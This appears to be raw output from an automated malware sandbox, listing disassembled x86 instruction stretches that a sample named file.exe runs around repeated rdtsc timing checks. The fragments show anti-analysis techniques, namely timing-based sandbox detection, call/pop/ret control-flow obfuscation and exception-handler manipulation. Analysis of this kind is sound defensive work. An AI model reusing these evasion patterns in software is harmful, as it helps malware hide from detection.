Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0DE1 second address: EA0DE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0DE5 second address: EA0E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FB55958F8B8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 call 00007FB55958F8BEh 0x0000002a or edi, dword ptr [ebp+12451847h] 0x00000030 pop edi 0x00000031 je 00007FB55958F8B6h 0x00000037 push 00000000h 0x00000039 jmp 00007FB55958F8C7h 0x0000003e push 00000000h 0x00000040 sbb si, 3D87h 0x00000045 push eax 0x00000046 jg 00007FB55958F8C8h 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0E5A second address: EA0E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0E5E second address: EA0E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA5037 second address: EA503B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA567C second address: EA5702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007FB55958F8B6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FB55958F8B8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 jng 00007FB55958F8BCh 0x0000002f mov dword ptr [ebp+122D3A83h], eax 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007FB55958F8B8h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 jmp 00007FB55958F8C9h 0x00000056 push 00000000h 0x00000058 mov bx, 7C14h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA5702 second address: EA570C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB5588467E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA570C second address: EA5717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FB55958F8B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA6678 second address: EA667C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA582D second address: EA5833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA667C second address: EA6694 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FB5588467E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA6694 second address: EA670D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FB55958F8B8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov bl, 18h 0x00000026 mov dword ptr [ebp+12451BDFh], edx 0x0000002c push 00000000h 0x0000002e clc 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007FB55958F8B8h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b ja 00007FB55958F8BCh 0x00000051 jmp 00007FB55958F8C0h 0x00000056 xchg eax, esi 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA670D second address: EA6711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA6711 second address: EA671B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB55958F8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA671B second address: EA6738 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FB5588467E6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB5588467ECh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8699 second address: EA869D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA869D second address: EA86BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007FB5588467E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAACC7 second address: EAACDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB55958F8B6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FB55958F8B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAAE0B second address: EAAE98 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB5588467E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FB5588467E8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 sbb di, EEAFh 0x0000002c mov di, dx 0x0000002f push dword ptr fs:[00000000h] 0x00000036 sbb di, 3CA7h 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 xor di, 74F3h 0x00000047 mov eax, dword ptr [ebp+122D009Dh] 0x0000004d mov dword ptr [ebp+122D3AADh], esi 0x00000053 sub dword ptr [ebp+122D3ADEh], esi 0x00000059 push FFFFFFFFh 0x0000005b push 00000000h 0x0000005d push esi 0x0000005e call 00007FB5588467E8h 0x00000063 pop esi 0x00000064 mov dword ptr [esp+04h], esi 0x00000068 add dword ptr [esp+04h], 00000018h 0x00000070 inc esi 0x00000071 push esi 0x00000072 ret 0x00000073 pop esi 0x00000074 ret 0x00000075 nop 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007FB5588467EAh 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADA3D second address: EADA41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADA41 second address: EADA47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADA47 second address: EADA5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB55958F8C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADA5E second address: EADAEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 jns 00007FB5588467EEh 0x0000000e push dword ptr fs:[00000000h] 0x00000015 stc 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FB5588467E8h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 sbb bx, F91Ch 0x0000003c mov eax, dword ptr [ebp+122D0029h] 0x00000042 push 00000000h 0x00000044 push ebp 0x00000045 call 00007FB5588467E8h 0x0000004a pop ebp 0x0000004b mov dword ptr [esp+04h], ebp 0x0000004f add dword ptr [esp+04h], 00000014h 0x00000057 inc ebp 0x00000058 push ebp 0x00000059 ret 0x0000005a pop ebp 0x0000005b ret 0x0000005c mov dword ptr [ebp+122D1EE6h], ebx 0x00000062 sbb di, 792Fh 0x00000067 push FFFFFFFFh 0x00000069 cld 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d js 00007FB5588467F3h 0x00000073 jmp 00007FB5588467EDh 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB195D second address: EB19F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FB55958F8C5h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FB55958F8C3h 0x00000011 nop 0x00000012 jno 00007FB55958F8BCh 0x00000018 mov bx, C001h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007FB55958F8B8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 jmp 00007FB55958F8BCh 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ecx 0x00000042 call 00007FB55958F8B8h 0x00000047 pop ecx 0x00000048 mov dword ptr [esp+04h], ecx 0x0000004c add dword ptr [esp+04h], 00000019h 0x00000054 inc ecx 0x00000055 push ecx 0x00000056 ret 0x00000057 pop ecx 0x00000058 ret 0x00000059 mov ebx, dword ptr [ebp+122D2A41h] 0x0000005f xchg eax, esi 0x00000060 push ebx 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2AE2 second address: EB2AE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFB11 second address: EAFB17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFB17 second address: EAFB1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFBB8 second address: EAFBBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0BE2 second address: EB0BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0BE6 second address: EB0BEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB49F3 second address: EB49F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3C2D second address: EB3C50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FB55958F8BDh 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB49F7 second address: EB4A6B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FB5588467E8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov ebx, 4B5A07BBh 0x00000029 push 00000000h 0x0000002b jmp 00007FB5588467F9h 0x00000030 push 00000000h 0x00000032 je 00007FB5588467ECh 0x00000038 or dword ptr [ebp+122D3328h], edi 0x0000003e xchg eax, esi 0x0000003f jmp 00007FB5588467F6h 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 push ecx 0x00000049 pop ecx 0x0000004a push ecx 0x0000004b pop ecx 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3C50 second address: EB3C56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4A6B second address: EB4A81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB5588467F2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB813C second address: EB8140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8140 second address: EB814A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB814A second address: EB814E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB814E second address: EB815F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FB5588467ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F0D1 second address: E5F0D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F0D5 second address: E5F100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB5588467F9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FB5588467ECh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC60FE second address: EC6108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FB55958F8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB375 second address: ECB37E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB37E second address: ECB388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB55958F8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA58C second address: ECA590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA590 second address: ECA594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA594 second address: ECA5B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB5588467F1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jc 00007FB5588467E6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA5B8 second address: ECA5C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB55958F8B6h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA5C6 second address: ECA5D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB5588467E6h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA91B second address: ECA920 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAC0B second address: ECAC17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007FB5588467E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAEBA second address: ECAEBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAEBE second address: ECAED0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB5588467E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FB5588467ECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAED0 second address: ECAED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAED4 second address: ECAEE6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB5588467ECh 0x00000008 jng 00007FB5588467E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB068 second address: ECB06C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB1D6 second address: ECB1DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF231 second address: ECF235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED45CD second address: ED45D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED45D2 second address: ED4606 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007FB55958F8C4h 0x0000000f js 00007FB55958F8BEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED336C second address: ED3373 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3373 second address: ED337D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED337D second address: ED338F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FB5588467E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED395B second address: ED3965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FB55958F8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3AD6 second address: ED3AE0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB5588467E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3092 second address: ED3096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA088 second address: EDA09B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB5588467E6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c je 00007FB5588467E6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA09B second address: EDA0A0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA35BF second address: EA35C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3A5D second address: EA3A63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3A63 second address: EA3A68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3A68 second address: CECB94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c xor dword ptr [ebp+122D2D5Dh], eax 0x00000012 push dword ptr [ebp+122D0E51h] 0x00000018 xor dword ptr [ebp+12477A1Eh], ecx 0x0000001e call dword ptr [ebp+122D3886h] 0x00000024 pushad 0x00000025 cld 0x00000026 xor eax, eax 0x00000028 stc 0x00000029 mov edx, dword ptr [esp+28h] 0x0000002d cld 0x0000002e mov dword ptr [ebp+122D2A41h], eax 0x00000034 cmc 0x00000035 add dword ptr [ebp+122D1AA9h], edi 0x0000003b mov esi, 0000003Ch 0x00000040 clc 0x00000041 add esi, dword ptr [esp+24h] 0x00000045 mov dword ptr [ebp+122D37B5h], esi 0x0000004b lodsw 0x0000004d or dword ptr [ebp+122D37B5h], eax 0x00000053 or dword ptr [ebp+122D37B5h], eax 0x00000059 add eax, dword ptr [esp+24h] 0x0000005d mov dword ptr [ebp+122D1810h], esi 0x00000063 mov ebx, dword ptr [esp+24h] 0x00000067 jmp 00007FB55958F8BDh 0x0000006c push eax 0x0000006d jl 00007FB55958F8C4h 0x00000073 push eax 0x00000074 push edx 0x00000075 pushad 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3B0A second address: EA3B0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3B0F second address: EA3B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3B1F second address: EA3B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3CBF second address: EA3D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB55958F8C8h 0x00000009 popad 0x0000000a jmp 00007FB55958F8C1h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 jnp 00007FB55958F8B8h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FB55958F8BFh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3D09 second address: EA3D0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3E00 second address: EA3E0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3F46 second address: EA3F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB5588467E6h 0x0000000a popad 0x0000000b rdtsc
